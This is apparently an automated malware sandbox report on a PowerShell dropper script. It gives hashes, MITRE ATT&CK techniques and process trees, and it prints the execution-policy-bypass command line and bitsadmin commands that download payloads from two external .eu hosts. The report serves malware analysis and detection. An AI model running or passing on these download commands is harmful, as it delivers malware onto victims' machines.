9681c0c07bdd630a1953d61e383038b057986a7a05c3f5f0f5d8370f3acd4515

Analysis

max time kernel
150s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-11-2024 11:59

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General

Target

WyChVIlbg/UaqyTpZb.ps1
Size

2KB
MD5

8540f5e40048f2e57fb5e2df66dbfe87
SHA1

eb038fd0f3e8bf11fdd16935de73ccf41d0331fd
SHA256

7005d74259760c7cc54a73e1c52cd8f7ff4aa641dac00fba952bc11d6557aae5
SHA512

b9555215dee32445c78a8138c885a5bb496dbd88d5d6f3037b9c427444fecb1cee0c5a2e3a23911f20ad2270f4e637725fbfae6cd19de5f8116924b817eba754

Score

10^/10

dropper execution

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

bitsadmin.exebitsadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3244	3428	bitsadmin.exe	84
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1676	3428	bitsadmin.exe	84

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

Processes:

bitsadmin.exebitsadmin.exe

pid	Process
3244	bitsadmin.exe
1676	bitsadmin.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
4272	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid	Process
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	4272	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 4272 wrote to memory of 4784	4272	powershell.exe	85
PID 4272 wrote to memory of 4784	4272	powershell.exe	85
PID 4272 wrote to memory of 4716	4272	powershell.exe	87
PID 4272 wrote to memory of 4716	4272	powershell.exe	87

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\WyChVIlbg\UaqyTpZb.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4272
- C:\Windows\system32\getmac.exe
  "C:\Windows\system32\getmac.exe" /fo table
  2⤵
  PID:4784
- C:\Windows\system32\bitsadmin.exe
  "C:\Windows\system32\bitsadmin.exe" /reset
  2⤵
  PID:4716

C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer STEWnK /priority FOREGROUND "https://yjtyhm13.eu/topic//b119c81e4307a1741731136499c5468d.html" C:\Users\Admin\AppData\Local\Temp\WyChVIlbg\0_svchost.log
1⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:3244

C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer kmMNjX /priority FOREGROUND "https://nmhholiut13.eu/topic//b119c81e4307a1741731136499c5468d.html" C:\Users\Admin\AppData\Local\Temp\WyChVIlbg\1_svchost.log
1⤵
- Process spawned unexpected child process
- Download via BitsAdmin
PID:1676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xtlj1vj5.3sd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4272-0-0x00007FFBBD683000-0x00007FFBBD685000-memory.dmp

Filesize
8KB

Download
memory/4272-2-0x000001AB21F80000-0x000001AB21FA2000-memory.dmp

Filesize
136KB

Download
memory/4272-11-0x00007FFBBD680000-0x00007FFBBE141000-memory.dmp

Filesize
10.8MB

Download
memory/4272-12-0x00007FFBBD680000-0x00007FFBBE141000-memory.dmp

Filesize
10.8MB

Download
memory/4272-13-0x00007FFBBD680000-0x00007FFBBE141000-memory.dmp

Filesize
10.8MB

Download
memory/4272-14-0x000001AB229E0000-0x000001AB22F08000-memory.dmp

Filesize
5.2MB

Download
memory/4272-15-0x00007FFBBD683000-0x00007FFBBD685000-memory.dmp

Filesize
8KB

Download
memory/4272-16-0x00007FFBBD680000-0x00007FFBBE141000-memory.dmp

Filesize
10.8MB

Download
memory/4272-17-0x00007FFBBD680000-0x00007FFBBE141000-memory.dmp

Filesize
10.8MB

Download
memory/4272-18-0x00007FFBBD680000-0x00007FFBBE141000-memory.dmp

Filesize
10.8MB

Download